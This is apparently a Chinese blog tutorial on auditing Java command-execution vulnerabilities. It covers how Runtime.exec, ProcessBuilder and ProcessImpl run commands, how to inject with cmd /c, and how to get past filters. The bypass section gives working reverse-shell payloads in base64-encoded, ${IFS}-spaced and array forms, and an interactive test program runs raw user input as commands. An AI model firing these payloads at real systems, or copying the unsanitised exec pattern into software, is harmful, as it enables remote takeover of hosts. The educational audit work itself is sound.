参考文章
个人博客-实战中关于Runtime反弹shell的Bypass
freebuf-Java代码审计之命令执行漏洞详解
命令执行
Java中执行系统命令主要通过java.lang.Runtime类的exec方法实现, 允许Java程序与底层操作系统交互
public static void main (String[] args) throws Exception { Runtime.getRuntime().exec("calc" ); }
这是一段能打开计算器的程序, 这里的命令执行并非直接使用系统中的bash或cmd, 而是由Java本身实现的, 这也导致了一些特定的行为和限制, 在代码审计部分会提到
Runtime.exec方法
Runtime类提供了多个exec方法重载,用于不同的执行场景
public Process exec (String command) public Process exec (String[] cmdarray) public Process exec (String[] cmdarray, String[] envp) public Process exec (String[] cmdarray, String[] envp, File dir) public Process exec (String command, String[] envp) public Process exec (String command, String[] envp, File dir)
命令执行方式
Runtime.exec与ProcessBuilder
Runtime.exec的底层实现实际上是基于ProcessBuilder类的
使用Runtime.getRuntime().exec方法这个方式进行命令执行的最终会来到ProcessBuilder#start方法中进行命令执行
每个ProcessBuilder实例管理进程属性的集合,start()方法使用这些属性创建一个新的Process实例,并且可以从同一实例重复调用,以创建具有相同或相关属性的新子进程
与Runtime.exec不同,ProcessBuilder不支持以字符串形式传入命令,只能拆分成List或者数组的形式传入,这在一定程度上提供了更好的安全性
第三方库
除了Java原生的命令执行方式,还有一些第三方库提供了更加强大和安全的命令执行能力:
Apache Commons Exec :提供了更健壮的API来处理命令行执行,能够更好地处理进程的输出和错误流,避免死锁,并提供异步执行和结果处理的能力
ZT-Exec :提供了简洁的流式API,易于使用和理解,支持同步和异步执行,能够方便地处理命令的输出
代码审计
exec()和exec(String[])
exec()方法在执行命令的时候,传入的参数有字符串和字符串数组两种形参, 分别测试看有什么区别和寻找利用方式
private Process javaExec (String command) throws IOException { Process process1 = Runtime.getRuntime().exec(command) Process process2 = Runtime.getRuntime().exec(new String []{"cmd" , "/c" , command}) }
直接下结论, 测试过程可以自己测试
getRuntime().exec() 无法执行部分命令, 且拼接命令会报错 getRuntime().exec(String[]) 正常执行命令且可以正常用管道符拼接
getRuntime().exec()
对执行过程进行同动态调试, 去向均为exec(cmdarray, envp, dir), 查看该函数实现, 发现经过了StringTokenizer函数的处理
public Process exec (String command, String[] envp, File dir) throws IOException { if (command.length() == 0 ) throw new IllegalArgumentException ("Empty command" ); StringTokenizer st = new StringTokenizer (command); String[] cmdarray = new String [st.countTokens()]; for (int i = 0 ; st.hasMoreTokens(); i++) cmdarray[i] = st.nextToken(); return exec(cmdarray, envp, dir); }
跟进处理, 发现对传入的命令进行格式化, 将传入的字符串str按照默认的空白分隔符进行分割;
String[] cmdarray = new String[st.countTokens()];的作用是创建一个字符串数组cmdarray,其长度等于StringTokenizer对象st中分割后的子字符串数量,最终命令变成了["calc&ping","baidu.com"]传入了exec(cmdarray, envp, dir)
public StringTokenizer (String str) { this (str, " \t\n\r\f" , false ); }
最终交给ProcessBuilder去执行,命令被错误的分割成["calc&ping", "baidu.com"],Java会尝试执行第一个参数calc&ping,视为可执行程序名,calc&ping不是一个有效程序,因此抛出IOException: Cannot run program "calc&ping"
getRuntime().exec(String[])
如果是exec(String[])呢, 最终命令是["cmd", "/c", "calc&ping", "baidu.com"], Java调用cmd.exe,并传递参数/c和后续参数calc&ping baidu.com
cmd.exe会将calc&ping baidu.com整体视为一个字符串,并按照 Shell 规则解析其中的&符号,将calc&ping baidu.com解析为两条命令,故而执行成功
exec和ProcessBuilder
结合前面的, 这两个去向均为exec(cmdarray, envp, dir), 在该函数实现处追踪return exec(cmdarray, envp, dir);的exec
public Process exec (String[] cmdarray, String[] envp, File dir) throws IOException { return new ProcessBuilder (cmdarray) .environment(envp) .directory(dir) .start(); }
来到了ProcessBuilder, 对其进行追踪
public ProcessBuilder (String... command) { this .command = new ArrayList <>(command.length); for (String arg : command) this .command.add(arg); }
根据描述: The start() method creates a new Process instance with those attributes. 那就是来到了ProcessBuilder#start()
ProcessBuilder
ProcessBuilder命令执行漏洞的核心在于通过ProcessBuilder类直接构造并执行系统命令时,若未对用户输入参数进行严格过滤或拆分,攻击者可注入恶意命令实现任意代码执行
ProcessBuilder不支持以字符串形式传入命令,只能拆分成List或者数组的形式传入
if ("ProcessBuilder" .equals(execType)){ Processprocess = newProcessBuilder("cmd" ,"/c" ,command).start(); stdout = readStream(process.getInputStream()); stderr = readStream(process.getErrorStream()); process.waitFor(); }
直接将用户输入的参数传入到ProcessBuilder进行命令执行, 那拼接恶意命令就行了
ProcessImpl
跟进ProcessBuilder.start()方法,ProcessBuilder.start()是Java中启动外部进程的核心方法,其底层实现最终通过调用ProcessImpl.start()完成操作系统级别的进程创建
ProcessImpl是Java中Process抽象类的具体实现类 ,其设计目的是为ProcessBuilder.start()方法提供底层支持,用于创建和管理操作系统进程
但是它的构造函数被声明为private, 我们直接用反射的方式即可绕过
此处为大佬的代码, 我直接拿来用了, 详情见参考文章1
package org.example; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Map; public class ProcessImplExamples { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { String[] cmdarray = new String []{"cmd" , "/c" , "calc" }; Class clazz = Class.forName("java.lang.ProcessImpl" ); Method method = clazz.getDeclaredMethod("start" , String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean .class); method.setAccessible(true ); Process p = (Process) method.invoke(null , cmdarray, null , null , null , false ); } }
漏洞利用
exec(String)利用
那exec(String)怎么去进行漏洞利用呢?可以利用Shell的解析逻辑实现命令注入,直接拼接cmd /c即可
cmd /c calc&ping baidu.com
ProcessBuilder利用
拼接即可
ProcessImpl利用
拼接
限制与绕过技巧
执行环境限制
Runtime.exec执行外部命令的原理是fork一个单独的进程,然后直接执行这个命令。exec(String command)这个方法无法指定shell为命令上下文环境,因此它不识别|、>等shell中的复杂命令
这就是为什么执行ls -l /opt和ls -l /opt | grep tomcat两个命令输出结果可能完全一样—因为管道符|没有被识别
绕过方法
使用sh -c执行复杂命令 :通过调用shell来执行包含管道、重定向等复杂操作的命令
编码方式绕过 :使用Base64编码命令,然后解码执行
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODAwMCAwPiYx}|{base64,-d}|{bash,-i}" );
特殊变量替代空格 :使用${IFS}、$IFS$9或$IFS替代命令中的空格
Runtime.getRuntime().exec("/bin/bash${IFS}-c${IFS}bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.153.1/8000<&1" );
使用参数数组形式 :这是最推荐的绕过方式,既安全又有效
Runtime.getRuntime().exec(new String []{"/bin/bash" , "-c" , "bash -i >& /dev/tcp/127.0.0.1/8000 0>&1" });
测试程序
搓了个很烂很烂的小程序用于测试, 它会将你的输入作为参数用两种方式进行执行
package org.example;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;public class JavaExecTest { private static void javaExec (String command) throws IOException { if (command == null || command.trim().isEmpty()) { System.out.println("错误: 命令不能为空" ); return ; } System.out.println("\n执行命令: " + command); System.out.println(repeatChar('=' , 50 )); System.out.println("\n方式一: 字符串执行" ); System.out.println(repeatChar('-' , 25 )); try { Process process1 = Runtime.getRuntime().exec(command); printProcess(process1); } catch (IOException e) { System.out.println("方式一执行失败: " + e.getMessage()); } System.out.println("\n方式二: 字符串数组执行" ); System.out.println(repeatChar('-' , 25 )); try { String[] cmdArray = new String []{"cmd" , "/c" , command}; Process process2 = Runtime.getRuntime().exec(cmdArray); printProcess(process2); } catch (IOException e) { System.out.println("方式二执行失败: " + e.getMessage()); } System.out.println(repeatChar('=' , 50 )); } private static void printProcess (Process process) { try { boolean hasOutput = false ; boolean hasError = false ; BufferedReader reader = new BufferedReader (new InputStreamReader (process.getInputStream())); String line; while ((line = reader.readLine()) != null ) { if (!hasOutput) { System.out.println("输出:" ); hasOutput = true ; } System.out.println(" " + line); } BufferedReader errorReader = new BufferedReader (new InputStreamReader (process.getErrorStream())); while ((line = errorReader.readLine()) != null ) { if (!hasError) { System.out.println("错误:" ); hasError = true ; } System.out.println(" " + line); } int exitCode = process.waitFor(); if (exitCode == 0 ) { System.out.println("执行成功 (退出码: " + exitCode + ")" ); } else { System.out.println("执行完成但有错误 (退出码: " + exitCode + ")" ); } if (!hasOutput && !hasError) { System.out.println("命令执行完成,无输出内容" ); } } catch (IOException | InterruptedException e) { System.out.println("读取命令输出时出错: " + e.getMessage()); } } private static String repeatChar (char c, int count) { StringBuilder sb = new StringBuilder (); for (int i = 0 ; i < count; i++) { sb.append(c); } return sb.toString(); } public static void main (String[] args) { System.out.println("Java 命令执行测试程序" ); System.out.println("支持两种执行方式比较" ); System.out.println("输入 'exit' 退出程序" ); System.out.println(repeatChar('*' , 50 )); try (BufferedReader consoleReader = new BufferedReader (new InputStreamReader (System.in))) { String input; while (true ) { System.out.print("\n请输入命令 > " ); input = consoleReader.readLine(); if (input == null ) { continue ; } String trimmedInput = input.trim(); if (trimmedInput.isEmpty()) { continue ; } if ("exit" .equalsIgnoreCase(trimmedInput)) { System.out.println("\n程序退出,再见!" ); break ; } try { javaExec(trimmedInput); } catch (IOException e) { System.out.println("执行命令失败: " + e.getMessage()); } } } catch (IOException e) { System.out.println("读取输入时出错: " + e.getMessage()); } } }